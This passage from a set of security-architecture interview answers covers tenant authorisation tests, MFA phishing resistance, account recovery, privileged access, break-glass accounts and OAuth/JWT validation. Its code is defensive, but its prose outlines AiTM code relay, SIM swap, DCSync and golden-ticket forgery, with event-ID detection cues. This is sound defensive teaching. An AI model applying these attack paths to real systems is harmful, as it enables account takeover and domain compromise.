- Expiry theatre: ADRs get their date bumped without re-verification. Detect by requiring the re-verification evidence in the extension commit.
So: the diagram isn't the architecture because nothing kept them equal. Pick the detection that matches the consequence (CI fitness functions for code-level constraints, config diffs for topology) and treat the diagram as a claim to be tested, not a fact.
Curated: · Written: · Reviewed:
Q&A-39Security's slot is a pentest two weeks before launch. What should have happened earlier?
What a strong candidate says first
The pentest should be the last confirmation, not the first look. Before it, three things should already exist: an authorisation model written at design time (who can do what to which object, per tenant), abuse-case tests derived from that model and run in CI on every PR, and a threat model that names the assets and trust boundaries. The pentest then verifies an implementation against a spec that already exists.
Assumptions: multi-tenant product, clients that ship independently of the backend, and a data model that is expensive to migrate.
Why a pentest can't do this job
A pentest samples an implementation. It can tell you that GET /invoices/123 returns another tenant's invoice. It cannot tell you that the design never defined tenant scoping for the nine write endpoints nobody wrote a test for, because there is no spec to test against. By week −2 the schemas are frozen and mobile clients are in the stores, so a design defect found then is a migration plus a forced update, not a code change. That is the whole argument: a missing tenant check costs minutes to fix at design, hours in CI, and weeks after client freeze.
What to put on the paved road
Design gate: an authorisation matrix. Actor × resource × action × tenant scope. Every cell is a requirement.
CI: object-level tests. Not "does the endpoint return 200" but "does tenant B get 404 on tenant A's object."
# pytest, checked against Python 3.12 / FastAPI
def test_tenant_b_cannot_read_tenant_a_invoice(client, tenant_a, tenant_b):
inv = create_invoice(tenant_a, amount=100)
r = client.get(f"/invoices/{inv.id}", headers=auth(tenant_b))
assert r.status_code == 404 # not 403: don't leak existence
That test fails at design review, not at pentest.
Trade-offs
Design-phase security is not free. A full threat model on a single-tenant internal tool with no independent client release is waste: a pentest alone is fine there. The earlier gates pay off when tenants share storage, clients ship on their own schedule, or the data model is costly to migrate. If none of those hold, schedule the pentest and move on.
Cost of the gates: roughly a day of design review, plus a CI suite that adds seconds per PR. Against a six-week forced-update cycle that is cheap, but only where the surface justifies it.
Failure mode I've seen
Pentest week found missing tenant checks on nine write APIs. Mobile clients were already in stores. The fix took six weeks and a forced update; three tenants had already been crossed in the wild. Detection: the CI object-level tests would have failed on the first PR that added the endpoint.
| Gate | When | Catches | Fix cost |
|---|---|---|---|
| Pentest only | launch −14 days | implementation bugs | days–weeks if the defect is design-level |
| Design authz matrix | sprint 1 | missing tenant scope | minutes |
| CI object tests | every PR | regressions | hours |
How I'd verify it's real
Sample recent releases and trace each threat to a requirement, a code control, a test, and production evidence. If a threat has no test, the gate is theatre.
Curated: · Written: · Reviewed:
Q&A-67Architecture review is a 90-minute slot in the last sprint. Champions exist on paper. How should design work actually flow?
The short answer
Assume a 20–40 service org, one or two architects, and champions who are named but have no allocated time. In that shape the 90-minute slot is the wrong control to invest in. Design work should flow through a paved road that makes the secure choice the default, with champions reviewing inside the sprint and holding merge rights on security tests. Keep the slot, but change its job: it reviews exceptions and new threat classes, not whether a handler checks object ownership.
Why the late slot fails
A last-sprint review sees a design that is already frozen. Findings at that point become rework or accepted risk, and neither teaches the platform anything: the next team copies the same handler, and the architect finds the same bug again. The slot is a detector with no memory.
What the flow looks like
| Stage | Owner | Artefact | Exit criterion |
|---|---|---|---|
| Design intent, sprint 0–1 | Team + champion | One-page data-flow sketch naming trust boundaries and assets touched | Champion responds within one working day |
| Build | Team | Paved SDK/helper for authz, crypto, secrets | Linter passes; no raw handler for tenant-scoped reads |
| In-sprint review | Champion | Security tests in the PR | Merge blocked until a new trust boundary has a test |
| Exception review | Architect, the 90-minute slot | Threat model for anything off the paved road | Decision recorded with owner and expiry date |
| Quarterly | Platform team | Adoption metric | Share of services on the helper, trending up |
The paved road, concretely
# tenant-scoped reads go through one helper
TABLES = {"invoice", "payment_method"} # allowlist, never request input
def load_owned(conn, table, row_id, principal):
if table not in TABLES:
raise ValueError(table)
row = conn.execute(
f"SELECT * FROM {table} WHERE id = %s AND tenant_id = %s",
(row_id, principal.tenant_id),
).fetchone()
if row is None:
raise NotFound() # 404, not 403: no existence oracle
return row
Trace it: the table name is checked against a fixed allowlist, so the f-string cannot carry request input; row_id and tenant_id are bound parameters. A row belonging to another tenant returns None and raises NotFound, so a cross-tenant probe is indistinguishable from a missing row. That is exactly the check the copied handlers were missing.
Failure modes and how you see them
- Champion burnout. The champion has a day job. Cap at one review per day, count it in their goals, rotate every two quarters. Detect it by reviews-per-champion trending to one person.
- Paved-road rot. The helper does not cover the case teams actually have, so they bypass it. Detect by counting raw handlers per quarter; a rising count means the helper is wrong, not the teams.
- Consult latency. If the champion is the bottleneck, teams ship without asking. Measure time-to-first-response; if the median passes a day, the flow has become a gate again.
- Gate re-emergence. The 90-minute slot refills with routine reviews. Detect by the ratio of exception items to first-time reviews in the slot agenda.
Worked example (one org, illustrative)
Twenty-two services copied the same raw handler. Over a year the architect found the same object-level IDOR 22 times, each fix taking 3–6 weeks of elapsed time: serialised, more than a year of calendar time on one bug class. The following year, with the helper above plus champion-owned tests, 19 of 22 services inherited the check, there was one recurrence, and it took four days to fix. The number that matters is not the 22; it is that 22 identical findings are a platform gap, not 22 team mistakes.
What would change my mind
With five services and an architect who already sits in every design conversation, the paved road is overhead and the slot is fine. And if champions cannot get merge rights on security tests, the flow degrades to advice, which puts you back at the gate.
Curated: · Written: · Reviewed:
Q&A-74Privacy signed a DPIA. Security signed a threat model. Neither mentioned the analytics sidecar. What failed?
What failed was the scope, not the reviews.
Both sign-offs were valid for the artefact each reviewer was handed. Privacy reviewed the data flows in the DPIA's diagram; security reviewed the components in the threat model's diagram. The sidecar appears in neither diagram, so neither review had a reason to look at it. Two complete reviews of two incomplete pictures is not a gap in either review: it is a gap in whatever was supposed to guarantee the pictures matched the running system.
That guarantee is an asset inventory derived from the system rather than from a design document. If the DPIA's processor list and the threat model's component list are both maintained by hand, both drift, and they drift in the same direction: toward the services their owning teams remember.
A worked example (hypothetical). A checkout service processes card tokens and billing addresses. Privacy's DPIA covers it: lawful basis is contract performance, retention 7 years for tax. Security's threat model covers it: TLS termination, tokenization, KMS key custody. Both sign.
A growth team then ships an analytics sidecar: a Kafka consumer on checkout.events that forwards each event to a product-analytics vendor. The event schema carries user_id and email. The sidecar authenticates with a static vendor API key in a Helm values file, and the vendor's retention defaults to 24 months.
| Review | Scope as written | Sidecar in scope? | Why not |
|---|---|---|---|
| DPIA | checkout service: card token, billing address, 7-year retention | no | the sidecar is not a checkout component; it consumes checkout's stream |
| Threat model | checkout service: TLS, tokenization, KMS key custody | no | the sidecar's static vendor key sits outside checkout's trust boundary |
| Sidecar (actual) | Kafka consumer on checkout.events → vendor analytics | — | static key in Helm values; vendor retention 24 months |
Nothing in that table is a mistake by either reviewer. The mistake is that "checkout service" was allowed to stand in for "the personal data checkout emits."
What to do instead, and what it costs. Three credible options:
- Merge privacy and security into one review. One gate, one diagram, no drift between them. Cost: the reviewer who can assess lawful basis is rarely the one who can assess key custody, so either the merged review is slower or one half becomes a rubber stamp.
- Keep the reviews separate but share one data-flow inventory. Preserves both skill sets. Cost: the inventory needs an owner and a refresh cadence, and it is exactly the artefact that went stale here.
- Derive the inventory from the system: enumerate consumers of each personal-data stream from the broker, and trigger a review when a new consumer appears. Catches the sidecar without anyone remembering to look. Cost: it only sees consumers that go through the instrumented path. A sidecar reading the topic directly with a static credential may not appear in lineage tooling.
The deciding question is how many teams can attach a consumer to a personal-data stream without asking anyone. If the answer is "anyone holding a broker credential," a document-based inventory cannot be authoritative, and the third option is the only one that closes the gap.
Failure modes and how you see them. The merged review rubber-stamps: you detect it when the same two people sign every review in under an hour. The shared inventory goes stale: you detect it by diffing the DPIA's processor list against the broker's consumer-group listing for each personal-data topic. Any consumer group in the second list and not the first is the next sidecar. Lineage tooling misses the bypass path: you detect it by comparing the schema registry's registered consumers against the broker's actual consumer groups.
The reconciliation is the whole answer: the DPIA's processor list and the threat model's component list must both be checked against the system, not against each other. Two reviews of two diagrams is zero reviews of the sidecar.
Curated: · Written: · Reviewed:
Q&A-8SSO is green and HR disabled the account. Why can the leaver still refund customers?
The judgement in workforce identity versus application roles is who may accept leftover business consequence, and until when.
Central login is not application authorization. Roles, refresh tokens, and local sessions live at relying parties. A disabled directory row that leaves a refund role intact for 36 hours is an architecture that stopped at the IdP.
Concretely, drive joiner-mover-leaver from HR into both the IdP and every high-consequence application's role store, revoke refresh grants and sessions on the disable event, and measure time-to-denied-action rather than time-to-directory-row.
The reason for that specificity is a failure I have seen: HR disabled an agent at 17:02. The IdP showed inactive. A cached refund role on the payments app survived until 09:14 the next day, and 84 refunds for £126,000 posted from a still-valid refresh token.
Directory row versus the refund that still posted.
| Event | Clock | IdP state | App role | Refunds after disable |
|---|---|---|---|---|
| HR disable | 17:02 | inactive at 17:03 | still agent | 84 |
| refresh reuse | 08:41 next day | inactive | still agent | 12 of the 84 |
| after RP revocation hook | — | inactive | removed in 4 minutes | 0 |
I would not consider it settled without evidence: time joiner, mover, leaver, recovery, and session-revocation on three critical apps, and require the leaver's next action to fail within the published minutes.
A green SSO tile is not a revoked grant.
Curated: · Written: · Reviewed:
Q&A-9The board was told MFA is deployed. The second factor is SMS. What do you tell them?
In the room (60–90 seconds). "MFA is deployed" is true and it is not the control the board thinks it is. The second factor is SMS, which is a bearer code: whoever reads it can present it. That stops credential stuffing and password spraying. It does not stop an adversary-in-the-middle proxy, which is how MFA actually gets defeated. So the honest sentence is: broad second-factor coverage, no phishing resistance on the accounts that matter. The 94% is a coverage number, not a protection number. Then name the three populations to fix first and the date they move.
Why SMS fails, mechanically. An SMS OTP is a shared secret delivered out of band with no cryptographic binding to the origin that requested it. It is valid at any endpoint that accepts it, for its lifetime. An AiTM kit is a reverse proxy: it serves the genuine login page from the genuine domain, forwards the password and the SMS code upstream, and takes the real session cookie on the way back. The user sees a successful login; the attacker holds a valid session. "One-time" doesn't help: the code was used once, by the proxy.
WebAuthn/FIDO2 closes this because the authenticator signs authenticatorData || SHA-256(clientDataJSON), and clientDataJSON carries the origin the browser observed. The credential is scoped to an rpId such as login.example.com. A proxy on login-example.com yields a different origin, the signature fails to verify, and the private key never leaves the authenticator: there is nothing to relay. That difference, not the factor count, decides whether a phished credential becomes a session.
What to change.
- Entra ID: a Conditional Access policy with authentication strength Phishing-resistant MFA (FIDO2 security key, Windows Hello for Business, certificate-based authentication) scoped to admin roles, finance, and production access. Leave the existing MFA-strength policy on everyone else.
- Okta: a sign-on policy rule requiring Okta FastPass or a WebAuthn authenticator for the same populations. Okta Verify push with number challenge beats plain push against MFA fatigue; it is still not phishing-resistant.
- Recovery: a Temporary Access Pass or a helpdesk-issued FIDO2 key per admin, not SMS. If SMS survives for the long tail, alert on every use and on any use from a new ASN.
- Reporting: split the metric into MFA coverage and phishing-resistant coverage, with the second owned by a named person.
Illustrative example: numbers constructed, not a named incident. A reverse-proxy kit fronted the real login page for six days. 310 staff entered password plus SMS code; the proxy replayed each into the real IdP and kept the session cookie. 19 sessions reached the finance VPN and 3 initiated supplier bank-detail changes. The tell was not a failed login: there were none. It was sign-ins where the MFA requirement was recorded as satisfied by a claim in the token, followed by the same session appearing from a different ASN. Continuous access evaluation revokes that session on password reset or account disable instead of waiting for token expiry.
| SMS OTP | FIDO2 / passkey | |
|---|---|---|
| Counts toward the 94% | yes | no |
| Origin binding | none | key scoped to the RP ID |
| AiTM relay | code replayed in-session | fails; proof never leaves the origin |
How I'd settle it. Run the same relay against an SMS policy and a FIDO2 policy on a test tenant, same role, and show one session surviving and one failing. Two hours, and the argument is over.
What the interviewer is scoring. Whether you separate coverage from strength; whether you explain origin binding instead of reciting "SMS is bad"; whether you name the actual policy objects; whether your migration doesn't break the helpdesk.
Weak answers. "SMS is insecure, move to an authenticator app": push is relayable too. "Add more factors." "NIST bans SMS": it doesn't; SP 800-63B has cautioned against PSTN/SMS out-of-band since 2017. Quoting the 94% back as a security outcome.
Follow-ups. Number matching? Raises the bar on fatigue, doesn't stop a proxy. Rollout without locking out 40,000 users? Phishing-resistant for the privileged few first, passkeys for the rest, SMS demoted to recovery. Detection? Token-claim MFA result, session reuse across ASNs, impossible travel on the session rather than the login. TOTP? Better than SMS, no carrier in the path, but still a bearer code, still relayable.
A text message is a second secret, not a bound authenticator.
Curated: · Written: · Reviewed:
Q&A-91The CEO refuses a security key because travel is hard. SMS is allowed as an exception. What is the estate impact?
The 90-second answer
The exception is granted, so the question is what it costs the estate. Three things change, and none of them stay inside the CEO's account.
First, phishing resistance stops being an estate property and becomes a per-identity property. You now run two authentication strengths in one tenant, and the weaker one is attached to the identities with the largest blast radius. Second, the exception is a precedent: the next "travel is hard" request cites it, so the number of SMS-capable privileged accounts is a metric you should be tracking, not a one-off. Third, the cost moves to detection and recovery: you cannot prevent the phish, so you have to catch the session and revoke it faster than the attacker can use it.
Why SMS is the weak path
An SMS OTP is a bearer secret: whoever reads it can use it, and it gets typed into whatever page asked for it. Two attacks follow.
- Real-time relay. The victim clicks a link to an attacker proxy that mirrors the real IdP. The proxy passes credentials and the SMS code to the real IdP inside the code's validity window, then hands the real session cookie back to the victim's browser, and keeps a copy. The attacker is authenticated with no further prompts.
- SIM swap. The attacker ports the number to a SIM they hold. Every later OTP goes to them. Carrier port-out is the only signal, and it arrives after the fact.
FIDO2/WebAuthn does not fall to (1) because the assertion is signed over the relying-party origin: the proxy's origin is not the IdP's, so the browser produces no assertion. That is the whole difference, and it is why the exception is a real downgrade rather than a cosmetic one.
What it changes across the estate
| Surface | Change | Detection you need |
|---|---|---|
| Conditional access | SMS becomes an allowed strength for a named group | Alert on any sign-in where SMS satisfied MFA for a privileged role |
| Privileged roles | Execs in admin or finance roles inherit SMS as their weakest factor | Enumerate SMS-capable privileged accounts; that count is the blast radius |
| Session lifetime | A relayed cookie stays valid until expiry or revocation | Short session lifetime; revoke on anomaly |
| Helpdesk | Recovery becomes the cheapest bypass once the number is swapped | Port-out alerts; no MFA reset on a phone call alone |
| Audit | The exception needs an owner, an expiry, and a compensating control | Quarterly re-attestation; exception count is a metric |
Failure modes to name
- The exception is granted with no expiry, so it becomes permanent by default.
- The compensating control is "we watch the logs", with no alert that fires on SMS-satisfied MFA for a privileged role.
- Helpdesk resets MFA after a convincing call, bypassing the factor entirely. The exception's real risk often sits here, not at the login page.
What I would do inside the constraint
Accept SMS as the exception, but scope it: named accounts, an expiry date, SMS only as a fallback after a FIDO attempt fails, alerting on every SMS-satisfied privileged sign-in, and a recovery path that does not end at the helpdesk. Then measure two numbers: SMS-capable privileged accounts, and time from anomalous session to revocation.
Curated: · Written: · Reviewed:
Q&A-10Helpdesk can reset MFA by reading a date of birth. How do you architect recovery?
What I'd say in the first two minutes
Recovery is an authentication ceremony, not a support ticket. It has the same consequence as login, so it has to carry at least the same assurance. If login is a phishing-resistant WebAuthn key and recovery is a date of birth, the account's real authentication strength is the date of birth: an attacker takes the cheapest door, and a helpdesk call is cheaper than a phishing kit.
Four rules:
- Enrol two authenticators at onboarding and make self-service recovery the default. Recovery through a factor already bound to the account is the only path that does not lower assurance.
- When no second factor exists, run a dual-control, time-delayed ceremony with identity proofing matched to the role's blast radius.
- Gate high-consequence actions behind a fresh step-up that the recovery itself cannot satisfy. A recovered session must not be able to move money, export keys, or change roles.
- Log recovery as a privileged event and notify the user on channels the helpdesk cannot see or change.
The ceremony, by path
| Path | Proofing | Cooling-off before the new factor works | Who can complete it |
|---|---|---|---|
| Second enrolled key | possession of factor 1 | none | user |
| Printed recovery codes | possession of codes | none | user |
| Helpdesk, knowledge-based | DOB / last-4 | none | 1 agent |
| Helpdesk, dual control | callback to the number on file + second agent + manager | 24 h | 2 agents + manager |
The cooling-off is the load-bearing control. The new authenticator is enrolled in a pending state: it can open a restricted session (view-only, no payments, no key export, no role change) but nothing else until the window expires and the user confirms from an existing device. Any existing session, or the user, can cancel the pending enrolment.
Worked example (hypothetical, figures illustrative)
Treasury admin, helpdesk-only reset attempt:
t0: caller gives name, employee ID, DOB. Agent opens a recovery ticket.t0: system reads role = payment approver, so the ticket entersawaiting_second_approver. No factor is enrolled.t0+3m: second agent approves. Callback is placed to the number enrolled at onboarding, not the number the caller supplies.t0+4h: callback unanswered. Ticket auto-closes, nothing enrolled, security alerted.- If answered: new key enrolled as
pending, 24 h cooling-off, user notified by email and by push to existing devices. t0+28h: user confirms from an existing device; key becomes active. Any privileged action inside the window still needs a second approver.
Failure modes, and how you see them
- Helpdesk as the target. CISA's advisory on Scattered Spider (AA23-320A, November 2023) documents help-desk social engineering as the entry technique, and the 2023 MGM intrusion is the public case. Detect with recovery tickets per agent per day, recovery-to-privileged-action within 24 h, and recovery initiated from an ASN the user has never used.
- Freeze without break-glass. If any recovery freezes privileged roles, you can lock out the on-call responder mid-incident. Break-glass must be a separate hardware-key path, dual-controlled, with its own alerting.
- Recovery inherits the compromise. Codes stored in the password manager the attacker already has give them the second factor too. Detect recovery-code use from a device that has never authenticated before.
- Approval fatigue. Push approval alone is not proof of presence; Microsoft enabled number matching by default in Authenticator in 2023 for exactly this reason. Never let a push approve a recovery.
What I'd verify before calling it done
Attempt a helpdesk-only reset on a privileged role and require refusal plus a ticket naming two officers. Then measure median time from recovery to first privileged action, and recoveries per agent per week.
Recovery that is easier than login is the login.
Curated: · Written: · Reviewed:
Q&A-11Domain admins log in daily with the same accounts they have had for years. What is the architectural defect?
The defect is that authority is a property of the account, not of a session. A Domain Admin who logs in daily holds control-plane rights continuously: every hour of every day, whether or not an administrative task is in flight. There is no moment when the credential is inert, so there is no moment when stealing it is worthless.
Assumptions: a standard AD domain where Domain Admins is a permanent group membership, the same account is used for email and browsing as for directory work, and no PAM/PIM layer sits in front of elevation. An Entra ID Global Admin with a standing role assignment has the same shape.
Why it behaves this way. Domain Admins is added to the local Administrators group on every domain-joined machine by default, so the account's reach is the whole estate, not one server. A successful interactive logon caches a Kerberos TGT; AD's default maximum ticket lifetime is 10 hours with a 7-day renewal window. Steal the workstation and you inherit that ticket without cracking a password. From there the usual path is DCSync to pull the krbtgt hash, then forged tickets that survive any password reset you can perform.
The daily-use part is what widens it. Every phishing email, browser extension and USB stick on that person's desk is now a path to Tier 0. The exposure surface is the admin's entire working day, not the minutes spent in ADUC.
| Design | Standing Tier 0 accounts | Exposure surface | Window after workstation compromise |
|---|---|---|---|
| Standing DA on a daily-use laptop | ~20 | full working day: email, web, admin | up to 10 h on the cached TGT, renewable 7 days |
| Standing DA on a dedicated PAW, separate admin account | ~20 | admin tasks only | same 10 h, but no email or browsing path into the box |
| JIT eligible, 60-minute grant, PAW, approval logged | 0, plus 2 monitored break-glass | grant window only | nothing cached outside the grant; inside it, 60 minutes and revocable |
Failure modes and how they show up. Pass-the-ticket: a 4624 logon type 3 or 9 for a Tier 0 account originating from a workstation rather than a PAW. Golden ticket: a TGT with an anomalous lifetime, or a 4769 service ticket with no preceding 4768. GPO persistence: a startup script or scheduled task written into SYSVOL that outlives every admin password reset. Break-glass drift: the two emergency accounts quietly become the new standing privilege because nobody alerts on their use.
Trade-offs. JIT adds a request step and a hard dependency on the PAM plane, if that plane is down you need break-glass, which is why you keep two accounts, store them offline, and alert on every use. A full tiered admin model costs tooling and headcount. The minimum viable move for a small shop is separate admin accounts, dedicated admin workstations, and LAPS for local administrator passwords; that removes the daily-use exposure without buying a PAM product.
I would not call it fixed without a rehearsal that timestamps four things: an unapproved elevation attempt, emergency access, session kill mid-task, and revocation taking effect after use.
Curated: · Written: · Reviewed:
Q&A-12PIM is licensed. Users still keep Owner on production subscriptions. What did we actually buy?
What you bought
You bought the machinery, not the outcome. A PIM licence (Microsoft Entra Privileged Identity Management) gives you eligible assignments, an approval workflow, a time-boxed activation, and an audit record of who activated what and why. It does not remove standing access. If a human still holds a permanent Owner assignment on a production subscription, the licence does nothing to that assignment: it is standing privilege with a second console next to it. The licence converts into reduced standing privilege only when you delete the permanent assignments and make the same people eligible instead.
So the honest answer to "what did we actually buy" is: an approval-and-expiry control plane, plus evidence. Whether it bought you anything depends on a number you can query today: the count of permanent privileged assignments, which should equal your break-glass set and nothing else.
What I'd do
- Enumerate every privileged role assignment that is active/permanent rather than eligible, across every subscription, including ones granted through groups.
- Set the target: that list is the break-glass accounts only. Typically two, excluded from PIM, hardware-key backed, with alerting on any use.
- Convert the rest to eligible, require approval for production-scoped roles, and set a maximum activation duration.
- Alert on any assignment with no end date, and on any activation with no matching approval.
Trade-offs
Approval is not free and not always right. For dev and test subscriptions, approval-free eligible activation is usually the better call: the blast radius is small, and a 20-minute approval wait during a deploy is friction people route around, which is how a standing assignment gets re-created. Keep approval where the role can reach production data or billing.
Activation duration is an exposure window, not a convenience setting. Eight hours covers a working day without re-approval; four forces a second approval mid-incident; one hour suits roles where every legitimate task is short. Pick the longest legitimate task you actually have, then round down. The maximum is configurable per role, so you can be generous on a read-only role and tight on Owner.
The alternative to all of this is no PIM at all: no standing access, separate break-glass accounts, and a change process. That is cheaper and has a smaller attack surface, but you lose the approval record and the activation audit trail, which is often the thing audit actually asked for.
Failure modes
The one I've seen: the PIM dashboard looks healthy while a migration script has re-granted permanent Owner to a subset. Eligibility counts hide it, because those users are also eligible. Detection is the permanent-assignment query, not the PIM console.
Second: group nesting. A user is eligible through one group and permanently assigned through another; the permanent path wins and nothing in the PIM UI flags it.
Third: alerts wired to a channel nobody reads. An activation without approval is only a control if someone sees it.
Illustrative example (composite, not a real tenant): 400 users eligible for Owner; 37 still held permanent Owner from a migration script; over five weeks those 37 created 14 public storage accounts, one of which exposed 8.2 million customer records. After removing the permanent assignments, the standing set was two break-glass accounts and no public storage accounts appeared in a 30-day watch.
Curated: · Written: · Reviewed:
Q&A-13Two emergency admin accounts live in a password manager everyone in SRE can open. Is that break-glass?
No. Two admin accounts in a vault that all of SRE can open is a standing admin credential with a nicer name. Break-glass is defined by four properties: rare, dual-controlled, monitored, and rotated on use. A shared vault has none of them.
Assumptions I'd state up front: roughly 40 SREs have vault access; the vault logs reads but nobody watches them; the accounts are long-lived and not bound to an individual's MFA; there is no separate approval step to retrieve them.
Why the shared vault fails, mechanically:
- No attribution. Everyone retrieves the same credential, so the audit log shows "the break-glass account did X", not who. You cannot answer "who used it" without correlating vault read logs to session logs, and that correlation is usually not built.
- No dual control. One person, one vault unlock, full admin. The two-person rule is the whole point of break-glass; a shared secret is single control by construction.
- No detection. Nothing pages when the credential is used, because it is used for ordinary work.
- No rotation trigger. Rotation is tied to use, and use is invisible, so the credential ages indefinitely.
The failure mode this produces: someone uses it for a routine ticket at 02:11, no page fires, and the credential stays live. Detection for that is a page on any use of the break-glass principal, not a weekly log review.
What actually qualifies:
| Design | Who can retrieve | Page on use | Rotation |
|---|---|---|---|
| Shared SRE vault | all 40 | none | none |
| Split secret, 2 officers | 2 of 2 required | <5 min | after each use |
| Sealed hardware key + 2-person approval | 2 of 2 required | <5 min | after each use |
Split secret: Shamir's Secret Sharing, k-of-n, shares held by separate officers, reconstruction requires both. Or a sealed YubiKey in a physical safe with a two-person retrieval policy. Either way the control is that no single person can act alone.
Detection, concretely: an EventBridge rule on CloudTrail management events matching the break-glass role's AssumeRole, routed to the on-call pager. Plus an alert on any API call made by that principal outside the incident window. That is what turns "we have break-glass" into a claim you can test.
I would not call it settled without a drill: open the path, require two people, page in under five minutes, rotate before the drill closes, and confirm the credential is not cached on a jump host afterwards.
If forty people can open it, it is not glass.
Curated: · Written: · Reviewed:
Q&A-24A programme wants to treat a signed OAuth access token as proof the user is at the keyboard. Why is that the wrong artefact?
Core answer
Assume OAuth 2.0 with OIDC on top, and a web app that wants "the user is at the keyboard right now" before a sensitive action. The access token is the wrong artefact because it is scoped to a resource server, not to your session, and nothing in the spec ties it to a user being present.
An access token answers "may this client call this API under this grant?" It can be issued with no user at all (client_credentials), it can be minted for a different resource server, it can be refreshed silently for as long as the refresh token lives, and RFC 6749 defines it as opaque to the client, so "signed" is an assumption, not a guarantee. None of that is a user at a keyboard.
Presence is an authentication fact, and OIDC carries it on the ID token: aud is your client_id, and auth_time, amr and acr describe the authentication event. Even the ID token only proves authentication happened at auth_time; "recent" is your policy, enforced with max_age or prompt=login.
Why the access token fails
| Artefact | Issued for | Proves | Cannot prove |
|---|---|---|---|
| access token | a resource server (aud may be absent or opaque) | the bearer may call that API under the grant | a user is present, or that the user is yours |
| ID token | your client (aud = client_id) | an authentication event at auth_time, with amr/acr | presence now, unless you enforce max_age |
| server-side session cookie | your app | your app authenticated this browser at session start | presence now, unless you re-prompt |
Trace: silent refresh defeats a freshness check
Policy: a sensitive action requires authentication within 300s.
- t=0:
prompt=login. ID tokenauth_time=0. Access tokeniat=0,exp=3600. - t=600: refresh_token grant, no user interaction. New access token
iat=600,exp=4200. New ID token,auth_timestill 0: OIDC Core requiresauth_timeon a refreshed ID token to be the original authentication time, not the reissue. - Check
auth_time: 600s > 300s → refuse. Correct. - Check access token
iat: 0s → accept. Wrong: nobody touched a keyboard.
That is the whole bug in one line: iat measures token minting, auth_time measures authentication.
When a lighter check is enough
If the API call is itself the authorization decision, the resource server checks scope and audience, the access token is the right artefact and you should not add a presence check. If you only need "this session was authenticated at some point", bind the session to the ID token at login and skip per-action re-auth. Reach for max_age/prompt=login only for step-up: password change, payment, admin actions. Sender-constrained tokens (DPoP, mTLS) prove key possession, not user presence: they fix replay, not this.
Failure modes and detection
- Audience confusion: a token minted for another resource server accepted at the session edge. Detect by presenting a foreign-audience token and requiring a refusal that names the audience mismatch.
- Silent refresh satisfying a presence check. Detect by forcing
max_ageand asserting the refresh path cannot satisfy it. - client_credentials tokens with no end user. Detect by rejecting tokens whose grant has no user.
- Replay after logout. Access tokens are bearer; revocation is not guaranteed. Detect by testing the token after session termination.
Curated: · Written: · Reviewed:
Q&A-16Services accept any JWT signed by the internal issuer. What goes wrong?
What a strong candidate says first
A signature answers one question: did the issuer mint this token? It says nothing about who the token was minted for. If every service accepts any token from the internal issuer, then every token is valid at every service. The token stops being a credential for one workload and becomes a bearer ticket for the whole estate, and the weakest workload that can obtain one sets the security level of the payments API.
Assumptions worth stating out loud: one internal issuer, asymmetric signing (RS256 or ES256), services validate signature and exp but not aud, and there are no per-service scopes.
What actually goes wrong
-
Lateral movement from the least privileged workload. A cron reporting job, a CI runner, a developer laptop, anything that can get a token, can call the payouts API. The reporting job's token is signed correctly, so it passes.
-
Blast radius of a leak. One token in a CI log, a crash dump, or a proxy trace opens every service. With 40 services accepting any issuer token, one leak is 40 footholds; with per-API audiences it is one.
-
Revocation is all-or-nothing. You cannot revoke one workload's access without rotating the issuer key, which invalidates every service's tokens at once. There is no per-service kill switch.
-
No attribution. Audit logs record "internal issuer" for every caller, so you cannot tell which workload made a call.
-
Token type confusion. An ID token minted for the frontend is a valid access token at the backend.
Worked example (figures illustrative)
A batch reporting job's token, correctly signed, calls the payout API 2,900 times over a weekend because the API checked signature and expiry only. £410,000 reaches attacker-controlled accounts. The same token against an API that checks aud is rejected on the first call.
| Validation performed | Reporting-job token at payouts API | Payouts issued |
|---|---|---|
signature + exp only | accepted | 2,900 |
+ aud == "payouts" | rejected (InvalidAudienceError) | 0 |
| + scope check | rejected | 0 |
The fix
A distinct audience per API, reject any token whose aud does not match, keep lifetimes short, add per-service scopes, and never accept an ID token or a sibling service's access token as a substitute.
# PyJWT 2.8, Python 3.12
import jwt
def verify(token: str, expected_aud: str) -> dict:
return jwt.decode(
token,
key=PUBLIC_KEY,
algorithms=["RS256"],
audience=expected_aud, # raises InvalidAudienceError on mismatch
issuer="https://issuer.internal",
options={"require": ["exp", "iat", "aud", "iss"]},
)
How you would verify it
Present a correctly signed token with the wrong aud and require a distinct rejection reason in the logs (InvalidAudienceError, not a generic 401) so a misconfigured audience is distinguishable from a bad signature.
Curated: · Written: · Reviewed:
Q&A-88The IdP rotated signing keys. Two APIs still cache JWKS for 24 hours. What happens to tokens?
Both APIs verify against whatever their cached JWKS says, so the rotation splits into two windows with opposite outcomes.
New-key tokens are rejected (401, kid not found) until each API's cache refreshes, up to 24 hours. Old-key tokens keep verifying on those APIs for as long as the old key sits in their cached copy, even after the IdP stops publishing it. The cache is a snapshot; the verifier never learns about the rotation until it refetches.
Why
Verification is a local lookup: read kid from the token header, find that key in the cached JWKS, check the signature. No network call on the hot path. A 24-hour TTL means the document the API holds can be a day behind the IdP's published set, and nothing in the token tells the verifier the set changed.
Worked timeline
IdP rotates at 00:00, publishes K2, keeps K1 for a 12-hour planned overlap. APIs A and B cached JWKS at 23:00 the previous day (containing only K1), TTL 24 h, so their next refresh is 23:00.
| Time | IdP publishes | A/B cached copy | K2 token at A/B | K1 token at A/B |
|---|---|---|---|---|
| 23:00 (prev) | K1 | K1 | — | — |
| 00:00 | K1, K2 | K1 | 401 unknown kid | 200 |
| 12:00 | K2 only | K1 | 401 | 200. Key no longer published |
| 23:00 | K2 only | K2 | 200 | 401 |
Two things fall out. New-key tokens fail for up to 23 hours here. And between 12:00 and 23:00 the APIs accept tokens signed by a key the IdP has withdrawn. Bounded by min(cache refresh, token exp), since the token itself still expires.
The fix that matters
Refetch on an unknown kid, and keep the TTL short. PyJWT's PyJWKClient caches the JWK set with a default lifespan of 300 s and raises on a kid it does not hold: it does not refetch on a miss, so you add that:
# Python 3.12, PyJWT 2.8+
import jwt
from jwt import PyJWKClient
jwks = PyJWKClient("https://idp.example.com/.well-known/jwks.json",
cache_keys=True, lifespan=300) # 5 min, not 24 h
def verify(token: str):
try:
key = jwks.get_signing_key_from_jwt(token)
except jwt.PyJWKClientError:
jwks.fetch_data() # one forced refetch on unknown kid
key = jwks.get_signing_key_from_jwt(token)
return jwt.decode(token, key.key, algorithms=["RS256"],
issuer="https://idp.example.com", audience="api")
Refetch-on-miss collapses the new-key rejection window to one extra fetch. It does not shrink the old-key window: a K1 token still hits in the cached copy, so no lookup misses and no refetch fires. Only the TTL bounds that side.
Failure modes
- Compromise rotation. The IdP revokes
